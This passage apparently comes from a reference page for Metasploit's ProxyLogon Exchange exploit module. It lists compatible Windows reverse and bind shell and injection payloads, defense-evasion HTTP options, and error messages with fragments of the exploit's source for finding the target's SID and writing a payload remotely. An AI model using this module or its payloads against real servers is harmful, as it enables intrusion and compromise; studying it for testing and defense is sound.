   81   payload/windows/patchupdllinject/reverse_tcp_allports                        normal  No     Windows Inject DLL, Reverse All-Port TCP Stager
   82   payload/windows/patchupdllinject/reverse_tcp_dns                             normal  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   83   payload/windows/patchupdllinject/reverse_tcp_rc4                             normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   84   payload/windows/patchupdllinject/reverse_tcp_rc4_dns                         normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   85   payload/windows/patchupdllinject/reverse_tcp_uuid                            normal  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   86   payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   87   payload/windows/patchupmeterpreter/bind_hidden_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   88   payload/windows/patchupmeterpreter/bind_ipv6_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   89   payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   90   payload/windows/patchupmeterpreter/bind_named_pipe                           normal  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   91   payload/windows/patchupmeterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   92   payload/windows/patchupmeterpreter/bind_tcp                                  normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   93   payload/windows/patchupmeterpreter/bind_tcp_rc4                              normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   94   payload/windows/patchupmeterpreter/bind_tcp_uuid                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   95   payload/windows/patchupmeterpreter/reverse_ipv6_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   96   payload/windows/patchupmeterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   97   payload/windows/patchupmeterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   98   payload/windows/patchupmeterpreter/reverse_tcp                               normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   99   payload/windows/patchupmeterpreter/reverse_tcp_allports                      normal  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   100  payload/windows/patchupmeterpreter/reverse_tcp_dns                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   101  payload/windows/patchupmeterpreter/reverse_tcp_rc4                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   102  payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns                       normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   103  payload/windows/patchupmeterpreter/reverse_tcp_uuid                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   104  payload/windows/peinject/bind_hidden_ipknock_tcp                             normal  No     Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
   105  payload/windows/peinject/bind_hidden_tcp                                     normal  No     Windows Inject PE Files, Hidden Bind TCP Stager
   106  payload/windows/peinject/bind_ipv6_tcp                                       normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
   107  payload/windows/peinject/bind_ipv6_tcp_uuid                                  normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   108  payload/windows/peinject/bind_named_pipe                                     normal  No     Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
   109  payload/windows/peinject/bind_nonx_tcp                                       normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   110  payload/windows/peinject/bind_tcp                                            normal  No     Windows Inject PE Files, Bind TCP Stager (Windows x86)
   111  payload/windows/peinject/bind_tcp_rc4                                        normal  No     Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   112  payload/windows/peinject/bind_tcp_uuid                                       normal  No     Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
   113  payload/windows/peinject/reverse_ipv6_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (IPv6)
   114  payload/windows/peinject/reverse_named_pipe                                  normal  No     Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
   115  payload/windows/peinject/reverse_nonx_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
   116  payload/windows/peinject/reverse_ord_tcp                                     normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   117  payload/windows/peinject/reverse_tcp                                         normal  No     Windows Inject PE Files, Reverse TCP Stager
   118  payload/windows/peinject/reverse_tcp_allports                                normal  No     Windows Inject PE Files, Reverse All-Port TCP Stager
   119  payload/windows/peinject/reverse_tcp_dns                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (DNS)
   120  payload/windows/peinject/reverse_tcp_rc4                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   121  payload/windows/peinject/reverse_tcp_rc4_dns                                 normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   122  payload/windows/peinject/reverse_tcp_uuid                                    normal  No     Windows Inject PE Files, Reverse TCP Stager with UUID Support
   123  payload/windows/powershell_bind_tcp                                          normal  No     Windows Interactive Powershell Session, Bind TCP
   124  payload/windows/powershell_reverse_tcp                                       normal  No     Windows Interactive Powershell Session, Reverse TCP
   125  payload/windows/shell/bind_hidden_ipknock_tcp                                normal  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   126  payload/windows/shell/bind_hidden_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Stager
   127  payload/windows/shell/bind_ipv6_tcp                                          normal  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   128  payload/windows/shell/bind_ipv6_tcp_uuid                                     normal  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   129  payload/windows/shell/bind_named_pipe                                        normal  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   130  payload/windows/shell/bind_nonx_tcp                                          normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   131  payload/windows/shell/bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   132  payload/windows/shell/bind_tcp_rc4                                           normal  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   133  payload/windows/shell/bind_tcp_uuid                                          normal  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   134  payload/windows/shell/reverse_ipv6_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   135  payload/windows/shell/reverse_nonx_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   136  payload/windows/shell/reverse_ord_tcp                                        normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   137  payload/windows/shell/reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Stager
   138  payload/windows/shell/reverse_tcp_allports                                   normal  No     Windows Command Shell, Reverse All-Port TCP Stager
   139  payload/windows/shell/reverse_tcp_dns                                        normal  No     Windows Command Shell, Reverse TCP Stager (DNS)
   140  payload/windows/shell/reverse_tcp_rc4                                        normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   141  payload/windows/shell/reverse_tcp_rc4_dns                                    normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   142  payload/windows/shell/reverse_tcp_uuid                                       normal  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   143  payload/windows/shell/reverse_udp                                            normal  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   144  payload/windows/shell_bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Inline
   145  payload/windows/shell_bind_tcp_xpfw                                          normal  No     Windows Disable Windows ICF, Command Shell, Bind TCP Inline
   146  payload/windows/shell_hidden_bind_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Inline
   147  payload/windows/shell_reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Inline
   148  payload/windows/speak_pwned                                                  normal  No     Windows Speech API - Say "You Got Pwned!"
   149  payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   150  payload/windows/upexec/bind_hidden_tcp                                       normal  No     Windows Upload/Execute, Hidden Bind TCP Stager
   151  payload/windows/upexec/bind_ipv6_tcp                                         normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   152  payload/windows/upexec/bind_ipv6_tcp_uuid                                    normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   153  payload/windows/upexec/bind_named_pipe                                       normal  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   154  payload/windows/upexec/bind_nonx_tcp                                         normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   155  payload/windows/upexec/bind_tcp                                              normal  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   156  payload/windows/upexec/bind_tcp_rc4                                          normal  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   157  payload/windows/upexec/bind_tcp_uuid                                         normal  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   158  payload/windows/upexec/reverse_ipv6_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   159  payload/windows/upexec/reverse_nonx_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   160  payload/windows/upexec/reverse_ord_tcp                                       normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   161  payload/windows/upexec/reverse_tcp                                           normal  No     Windows Upload/Execute, Reverse TCP Stager
   162  payload/windows/upexec/reverse_tcp_allports                                  normal  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   163  payload/windows/upexec/reverse_tcp_dns                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   164  payload/windows/upexec/reverse_tcp_rc4                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   165  payload/windows/upexec/reverse_tcp_rc4_dns                                   normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   166  payload/windows/upexec/reverse_tcp_uuid                                      normal  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   167  payload/windows/upexec/reverse_udp                                           normal  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   168  payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   169  payload/windows/vncinject/bind_hidden_tcp                                    normal  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   170  payload/windows/vncinject/bind_ipv6_tcp                                      normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   171  payload/windows/vncinject/bind_ipv6_tcp_uuid                                 normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   172  payload/windows/vncinject/bind_named_pipe                                    normal  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   173  payload/windows/vncinject/bind_nonx_tcp                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   174  payload/windows/vncinject/bind_tcp                                           normal  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   175  payload/windows/vncinject/bind_tcp_rc4                                       normal  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   176  payload/windows/vncinject/bind_tcp_uuid                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   177  payload/windows/vncinject/reverse_hop_http                                   normal  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   178  payload/windows/vncinject/reverse_http                                       normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   179  payload/windows/vncinject/reverse_http_proxy_pstore                          normal  No     VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
   180  payload/windows/vncinject/reverse_ipv6_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   181  payload/windows/vncinject/reverse_nonx_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   182  payload/windows/vncinject/reverse_ord_tcp                                    normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   183  payload/windows/vncinject/reverse_tcp                                        normal  No     VNC Server (Reflective Injection), Reverse TCP Stager
   184  payload/windows/vncinject/reverse_tcp_allports                               normal  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   185  payload/windows/vncinject/reverse_tcp_dns                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   186  payload/windows/vncinject/reverse_tcp_rc4                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   187  payload/windows/vncinject/reverse_tcp_rc4_dns                                normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   188  payload/windows/vncinject/reverse_tcp_uuid                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
   189  payload/windows/vncinject/reverse_winhttp                                    normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   190  payload/windows/x64/exec                                                     normal  No     Windows x64 Execute Command
   191  payload/windows/x64/loadlibrary                                              normal  No     Windows x64 LoadLibrary Path
   192  payload/windows/x64/messagebox                                               normal  No     Windows MessageBox x64
   193  payload/windows/x64/meterpreter/bind_ipv6_tcp                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   194  payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   195  payload/windows/x64/meterpreter/bind_named_pipe                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   196  payload/windows/x64/meterpreter/bind_tcp                                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   197  payload/windows/x64/meterpreter/bind_tcp_rc4                                 normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   198  payload/windows/x64/meterpreter/bind_tcp_uuid                                normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   199  payload/windows/x64/meterpreter/reverse_http                                 normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   200  payload/windows/x64/meterpreter/reverse_https                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   201  payload/windows/x64/meterpreter/reverse_named_pipe                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   202  payload/windows/x64/meterpreter/reverse_tcp                                  normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   203  payload/windows/x64/meterpreter/reverse_tcp_rc4                              normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   204  payload/windows/x64/meterpreter/reverse_tcp_uuid                             normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   205  payload/windows/x64/meterpreter/reverse_winhttp                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   206  payload/windows/x64/meterpreter/reverse_winhttps                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   207  payload/windows/x64/meterpreter_bind_named_pipe                              normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   208  payload/windows/x64/meterpreter_bind_tcp                                     normal  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   209  payload/windows/x64/meterpreter_reverse_http                                 normal  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   210  payload/windows/x64/meterpreter_reverse_https                                normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   211  payload/windows/x64/meterpreter_reverse_ipv6_tcp                             normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   212  payload/windows/x64/meterpreter_reverse_tcp                                  normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
   213  payload/windows/x64/peinject/bind_ipv6_tcp                                   normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   214  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                              normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   215  payload/windows/x64/peinject/bind_named_pipe                                 normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   216  payload/windows/x64/peinject/bind_tcp                                        normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   217  payload/windows/x64/peinject/bind_tcp_rc4                                    normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   218  payload/windows/x64/peinject/bind_tcp_uuid                                   normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   219  payload/windows/x64/peinject/reverse_named_pipe                              normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   220  payload/windows/x64/peinject/reverse_tcp                                     normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   221  payload/windows/x64/peinject/reverse_tcp_rc4                                 normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   222  payload/windows/x64/peinject/reverse_tcp_uuid                                normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   223  payload/windows/x64/powershell_bind_tcp                                      normal  No     Windows Interactive Powershell Session, Bind TCP
   224  payload/windows/x64/powershell_reverse_tcp                                   normal  No     Windows Interactive Powershell Session, Reverse TCP
   225  payload/windows/x64/shell/bind_ipv6_tcp                                      normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   226  payload/windows/x64/shell/bind_ipv6_tcp_uuid                                 normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   227  payload/windows/x64/shell/bind_named_pipe                                    normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   228  payload/windows/x64/shell/bind_tcp                                           normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   229  payload/windows/x64/shell/bind_tcp_rc4                                       normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   230  payload/windows/x64/shell/bind_tcp_uuid                                      normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   231  payload/windows/x64/shell/reverse_tcp                                        normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   232  payload/windows/x64/shell/reverse_tcp_rc4                                    normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   233  payload/windows/x64/shell/reverse_tcp_uuid                                   normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   234  payload/windows/x64/shell_bind_tcp                                           normal  No     Windows x64 Command Shell, Bind TCP Inline
   235  payload/windows/x64/shell_reverse_tcp                                        normal  No     Windows x64 Command Shell, Reverse TCP Inline
   236  payload/windows/x64/vncinject/bind_ipv6_tcp                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   237  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                             normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   238  payload/windows/x64/vncinject/bind_named_pipe                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   239  payload/windows/x64/vncinject/bind_tcp                                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   240  payload/windows/x64/vncinject/bind_tcp_rc4                                   normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   241  payload/windows/x64/vncinject/bind_tcp_uuid                                  normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   242  payload/windows/x64/vncinject/reverse_http                                   normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   243  payload/windows/x64/vncinject/reverse_https                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   244  payload/windows/x64/vncinject/reverse_tcp                                    normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   245  payload/windows/x64/vncinject/reverse_tcp_rc4                                normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   246  payload/windows/x64/vncinject/reverse_tcp_uuid                               normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   247  payload/windows/x64/vncinject/reverse_winhttp                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   248  payload/windows/x64/vncinject/reverse_winhttps                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/http/exchange_proxylogon_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/http/exchange_proxylogon_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No Autodiscover information was found


Here is a relevant code snippet related to the "No Autodiscover information was found" error message:

231:	      ctype: 'text/xml; charset=utf-8'
232:	    )
233:	
234:	    case response.body
235:	    when %r{<ErrorCode>500</ErrorCode>}
236:	      fail_with(Failure::NotFound, 'No Autodiscover information was found')
237:	    when %r{<Action>redirectAddr</Action>}
238:	      fail_with(Failure::NotFound, 'No email address was found')
239:	    end
240:	
241:	    xml = Nokogiri::XML.parse(response.body)

No email address was found


Here is a relevant code snippet related to the "No email address was found" error message:

233:	
234:	    case response.body
235:	    when %r{<ErrorCode>500</ErrorCode>}
236:	      fail_with(Failure::NotFound, 'No Autodiscover information was found')
237:	    when %r{<Action>redirectAddr</Action>}
238:	      fail_with(Failure::NotFound, 'No email address was found')
239:	    end
240:	
241:	    xml = Nokogiri::XML.parse(response.body)
242:	
243:	    legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content

No 'LegacyDN' was found


Here is a relevant code snippet related to the "No 'LegacyDN' was found" error message:

239:	    end
240:	
241:	    xml = Nokogiri::XML.parse(response.body)
242:	
243:	    legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
244:	    fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?
245:	
246:	    server = ''
247:	    xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
248:	      type = item.at_xpath('./xmlns:Type', xmlns)&.content
249:	      if type == 'EXCH'

No 'Server ID' was found


Here is a relevant code snippet related to the "No 'Server ID' was found" error message:

248:	      type = item.at_xpath('./xmlns:Type', xmlns)&.content
249:	      if type == 'EXCH'
250:	        server = item.at_xpath('./xmlns:Server', xmlns)&.content
251:	      end
252:	    end
253:	    fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?
254:	
255:	    [server, legacy_dn]
256:	  end
257:	
258:	  def request_fqdn

Server did not respond in an expected way


Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:

262:	      'uri' => normalize_uri('rpc', 'rpcproxy.dll'),
263:	      'headers' => {
264:	        'Authorization' => "NTLM #{Rex::Text.encode_base64(ntlm_ssp)}"
265:	      }
266:	    )
267:	    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
268:	
269:	    if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)
270:	      hash = received['WWW-Authenticate'].split('NTLM ')[1]
271:	      message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))
272:	      dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]

No Backend server was found


Here is a relevant code snippet related to the "No Backend server was found" error message:

272:	      dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]
273:	
274:	      return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase
275:	    end
276:	
277:	    fail_with(Failure::NotFound, 'No Backend server was found')
278:	  end
279:	
280:	  # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff
281:	  def request_mapi(server_name, legacy_dn, server_id)
282:	    data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

No 'SID' was found


Here is a relevant code snippet related to the "No 'SID' was found" error message:

298:	    if response.code == 200
299:	      sid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/
300:	
301:	      sid = response.body.match(sid_regex).to_s
302:	    end
303:	    fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?
304:	
305:	    sid
306:	  end
307:	
308:	  def request_oab(server_name, sid, session, canary)

Could't prepare the payload on the remote target


Here is a relevant code snippet related to the "Could't prepare the payload on the remote target" error message:

397:	  def run_cve_2021_27065(session_info)
398:	    # set external url (and set the payload).
399:	    print_status('Preparing the payload on the remote target')
400:	    input_name = install_payload(session_info)
401:	
402:	    fail_with(Failure::NoAccess, 'Could\'t prepare the payload on the remote target') if input_name.empty?
403:	
404:	    # reset the virtual directory (and write the payload).
405:	    print_status('Writing the payload on the remote target')
406:	    remote_file = write_payload(session_info)
407:	

Could't write the payload on the remote target


Here is a relevant code snippet related to the "Could't write the payload on the remote target" error message:

403:	
404:	    # reset the virtual directory (and write the payload).
405:	    print_status('Writing the payload on the remote target')
406:	    remote_file = write_payload(session_info)
407:	
408:	    fail_with(Failure::NoAccess, 'Could\'t write the payload on the remote target') if remote_file.empty?
409:	
410:	    # wait a lot.
411:	    i = 0
412:	    while i < datastore['MaxWaitLoop']
413:	      received = send_request_cgi({

Waiting for the payload to be available


Here is a relevant code snippet related to the "Waiting for the payload to be available" error message:

416:	      })
417:	      if received && (received.code == 200)
